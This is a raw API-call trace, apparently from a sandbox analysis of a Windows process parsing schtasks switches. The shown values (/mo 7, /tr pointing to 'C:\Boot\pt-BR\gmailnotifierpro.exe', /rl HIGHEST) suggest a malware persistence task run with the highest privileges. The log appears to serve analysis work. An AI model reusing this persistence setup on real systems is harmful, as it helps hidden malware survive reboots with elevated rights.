[0109.745] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] lstrlenW (lpString="mo") returned 2 [0109.745] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.745] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.745] lstrlenW (lpString="|delete|") returned 8 [0109.745] lstrlenW (lpString="|mo|") returned 4 [0109.745] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0109.745] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.745] lstrlenW (lpString="query") returned 5 [0109.745] lstrlenW (lpString="query") returned 5 [0109.745] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] lstrlenW (lpString="mo") returned 2 [0109.746] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.746] lstrlenW (lpString="|query|") returned 7 [0109.746] lstrlenW (lpString="|mo|") returned 4 [0109.746] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0109.746] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.746] lstrlenW (lpString="change") returned 6 [0109.746] lstrlenW (lpString="change") returned 6 [0109.746] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] lstrlenW (lpString="mo") returned 2 [0109.746] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.746] lstrlenW (lpString="|change|") returned 8 [0109.746] lstrlenW (lpString="|mo|") returned 4 [0109.746] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0109.746] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.746] lstrlenW (lpString="run") returned 3 [0109.746] lstrlenW (lpString="run") returned 3 [0109.746] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] lstrlenW (lpString="mo") returned 2 [0109.746] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.746] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.747] lstrlenW (lpString="|run|") returned 5 [0109.747] lstrlenW (lpString="|mo|") returned 4 [0109.747] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0109.747] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.747] lstrlenW (lpString="end") returned 3 [0109.747] lstrlenW (lpString="end") returned 3 [0109.747] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.747] lstrlenW (lpString="mo") returned 2 [0109.747] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.747] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.747] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.747] lstrlenW (lpString="|end|") returned 5 [0109.747] lstrlenW (lpString="|mo|") returned 4 [0109.747] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0109.747] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.747] lstrlenW (lpString="showsid") returned 7 [0109.747] lstrlenW (lpString="showsid") returned 7 [0109.747] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.747] lstrlenW (lpString="mo") returned 2 [0109.747] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.747] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.747] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|mo|") returned 4 [0109.747] lstrlenW (lpString="|showsid|") returned 9 [0109.747] lstrlenW (lpString="|mo|") returned 4 [0109.747] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0109.747] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.749] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.749] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.749] lstrlenW (lpString="/mo") returned 3 [0109.749] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0109.749] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="/mo") returned 3 [0109.750] GetProcessHeap () returned 0x1ed3df50000 [0109.750] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x8) returned 0x1ed3df542e0 [0109.750] GetProcessHeap () returned 0x1ed3df50000 [0109.750] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b990 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="7") returned 1 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="7") returned 1 [0109.750] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="7") returned 1 [0109.750] GetProcessHeap () returned 0x1ed3df50000 [0109.750] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x4) returned 0x1ed3df54300 [0109.750] GetProcessHeap () returned 0x1ed3df50000 [0109.750] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5ba20 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="/tr") returned 3 [0109.750] lstrlenW (lpString="-/") returned 2 [0109.750] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.750] lstrlenW (lpString="?") returned 1 [0109.750] lstrlenW (lpString="?") returned 1 [0109.750] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.750] lstrlenW (lpString="tr") returned 2 [0109.750] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.750] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.750] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.750] lstrlenW (lpString="|?|") returned 3 [0109.750] lstrlenW (lpString="|tr|") returned 4 [0109.750] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.750] lstrlenW (lpString="create") returned 6 [0109.751] lstrlenW (lpString="create") returned 6 [0109.751] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] lstrlenW (lpString="tr") returned 2 [0109.751] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.751] lstrlenW (lpString="|create|") returned 8 [0109.751] lstrlenW (lpString="|tr|") returned 4 [0109.751] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0109.751] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.751] lstrlenW (lpString="delete") returned 6 [0109.751] lstrlenW (lpString="delete") returned 6 [0109.751] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] lstrlenW (lpString="tr") returned 2 [0109.751] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.751] lstrlenW (lpString="|delete|") returned 8 [0109.751] lstrlenW (lpString="|tr|") returned 4 [0109.751] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0109.751] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.751] lstrlenW (lpString="query") returned 5 [0109.751] lstrlenW (lpString="query") returned 5 [0109.751] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] lstrlenW (lpString="tr") returned 2 [0109.751] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.751] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.751] lstrlenW (lpString="|query|") returned 7 [0109.751] lstrlenW (lpString="|tr|") returned 4 [0109.751] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0109.751] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.751] lstrlenW (lpString="change") returned 6 [0109.752] lstrlenW (lpString="change") returned 6 [0109.752] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] lstrlenW (lpString="tr") returned 2 [0109.752] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.752] lstrlenW (lpString="|change|") returned 8 [0109.752] lstrlenW (lpString="|tr|") returned 4 [0109.752] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0109.752] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.752] lstrlenW (lpString="run") returned 3 [0109.752] lstrlenW (lpString="run") returned 3 [0109.752] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] lstrlenW (lpString="tr") returned 2 [0109.752] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.752] lstrlenW (lpString="|run|") returned 5 [0109.752] lstrlenW (lpString="|tr|") returned 4 [0109.752] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0109.752] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.752] lstrlenW (lpString="end") returned 3 [0109.752] lstrlenW (lpString="end") returned 3 [0109.752] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] lstrlenW (lpString="tr") returned 2 [0109.752] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.752] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.752] lstrlenW (lpString="|end|") returned 5 [0109.752] lstrlenW (lpString="|tr|") returned 4 [0109.752] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0109.752] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] lstrlenW (lpString="showsid") returned 7 [0109.753] lstrlenW (lpString="showsid") returned 7 [0109.753] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.753] lstrlenW (lpString="tr") returned 2 [0109.753] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.753] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.753] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|tr|") returned 4 [0109.753] lstrlenW (lpString="|showsid|") returned 9 [0109.753] lstrlenW (lpString="|tr|") returned 4 [0109.753] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] lstrlenW (lpString="/tr") returned 3 [0109.753] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] lstrlenW (lpString="/tr") returned 3 [0109.753] GetProcessHeap () returned 0x1ed3df50000 [0109.753] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x8) returned 0x1ed3df54320 [0109.753] GetProcessHeap () returned 0x1ed3df50000 [0109.753] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5bb10 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.753] lstrlenW (lpString="-/") returned 2 [0109.753] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.753] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.753] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0109.753] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.753] GetProcessHeap () returned 0x1ed3df50000 [0109.753] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df54340 [0109.753] _memicmp (_Buf1=0x1ed3df54340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.754] GetProcessHeap () returned 0x1ed3df50000 [0109.754] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0xe) returned 0x1ed3df54360 [0109.754] GetProcessHeap () returned 0x1ed3df50000 [0109.754] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x18) returned 0x1ed3df5a9f0 [0109.754] _memicmp (_Buf1=0x1ed3df5a9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.754] GetProcessHeap () returned 0x1ed3df50000 [0109.754] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x4c) returned 0x1ed3df53b50 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] lstrlenW (lpString="'C") returned 2 [0109.754] lstrlenW (lpString="-/") returned 2 [0109.754] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0109.754] GetProcessHeap () returned 0x1ed3df50000 [0109.754] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x4a) returned 0x1ed3df53bb0 [0109.754] GetProcessHeap () returned 0x1ed3df50000 [0109.754] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b8a0 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.754] lstrlenW (lpString="/rl") returned 3 [0109.754] lstrlenW (lpString="-/") returned 2 [0109.754] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0109.754] lstrlenW (lpString="?") returned 1 [0109.754] lstrlenW (lpString="?") returned 1 [0109.754] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.754] lstrlenW (lpString="rl") returned 2 [0109.754] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.754] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|?|") returned 3 [0109.754] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.754] lstrlenW (lpString="|?|") returned 3 [0109.754] lstrlenW (lpString="|rl|") returned 4 [0109.755] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.755] lstrlenW (lpString="create") returned 6 [0109.755] lstrlenW (lpString="create") returned 6 [0109.755] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] lstrlenW (lpString="rl") returned 2 [0109.755] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|create|") returned 8 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.755] lstrlenW (lpString="|create|") returned 8 [0109.755] lstrlenW (lpString="|rl|") returned 4 [0109.755] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0109.755] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.755] lstrlenW (lpString="delete") returned 6 [0109.755] lstrlenW (lpString="delete") returned 6 [0109.755] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] lstrlenW (lpString="rl") returned 2 [0109.755] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|delete|") returned 8 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.755] lstrlenW (lpString="|delete|") returned 8 [0109.755] lstrlenW (lpString="|rl|") returned 4 [0109.755] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0109.755] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.755] lstrlenW (lpString="query") returned 5 [0109.755] lstrlenW (lpString="query") returned 5 [0109.755] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] lstrlenW (lpString="rl") returned 2 [0109.755] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|query|") returned 7 [0109.755] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.755] lstrlenW (lpString="|query|") returned 7 [0109.755] lstrlenW (lpString="|rl|") returned 4 [0109.756] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0109.756] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.756] lstrlenW (lpString="change") returned 6 [0109.756] lstrlenW (lpString="change") returned 6 [0109.756] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] lstrlenW (lpString="rl") returned 2 [0109.756] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|change|") returned 8 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.756] lstrlenW (lpString="|change|") returned 8 [0109.756] lstrlenW (lpString="|rl|") returned 4 [0109.756] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0109.756] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.756] lstrlenW (lpString="run") returned 3 [0109.756] lstrlenW (lpString="run") returned 3 [0109.756] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] lstrlenW (lpString="rl") returned 2 [0109.756] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|run|") returned 5 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.756] lstrlenW (lpString="|run|") returned 5 [0109.756] lstrlenW (lpString="|rl|") returned 4 [0109.756] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0109.756] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.756] lstrlenW (lpString="end") returned 3 [0109.756] lstrlenW (lpString="end") returned 3 [0109.756] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] lstrlenW (lpString="rl") returned 2 [0109.756] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|end|") returned 5 [0109.756] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.756] lstrlenW (lpString="|end|") returned 5 [0109.757] lstrlenW (lpString="|rl|") returned 4 [0109.757] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] lstrlenW (lpString="showsid") returned 7 [0109.757] lstrlenW (lpString="showsid") returned 7 [0109.757] _memicmp (_Buf1=0x1ed3df53f00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.757] lstrlenW (lpString="rl") returned 2 [0109.757] _memicmp (_Buf1=0x1ed3df53f40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0109.757] _vsnwprintf (in: _Buffer=0x1ed3df54270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|showsid|") returned 9 [0109.757] _vsnwprintf (in: _Buffer=0x1ed3df53f60, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1d6828f6e8 | out: _Buffer="|rl|") returned 4 [0109.757] lstrlenW (lpString="|showsid|") returned 9 [0109.757] lstrlenW (lpString="|rl|") returned 4 [0109.757] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] lstrlenW (lpString="/rl") returned 3 [0109.757] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] lstrlenW (lpString="/rl") returned 3 [0109.757] GetProcessHeap () returned 0x1ed3df50000 [0109.757] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x8) returned 0x1ed3df53c10 [0109.757] GetProcessHeap () returned 0x1ed3df50000 [0109.757] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b630 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] lstrlenW (lpString="HIGHEST") returned 7 [0109.757] lstrlenW (lpString="-/") returned 2 [0109.757] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.757] lstrlenW (lpString="HIGHEST") returned 7 [0109.757] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0109.757] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] lstrlenW (lpString="HIGHEST") returned 7 [0109.758] GetProcessHeap () returned 0x1ed3df50000 [0109.758] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x10) returned 0x1ed3df5a8f0 [0109.758] GetProcessHeap () returned 0x1ed3df50000 [0109.758] RtlAllocateHeap (HeapHandle=0x1ed3df50000, Flags=0xc, Size=0x20) returned 0x1ed3df5b540 [0109.758] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] RtlRestoreLastWin32Error () returned 0x1d684b0000 [0109.758] 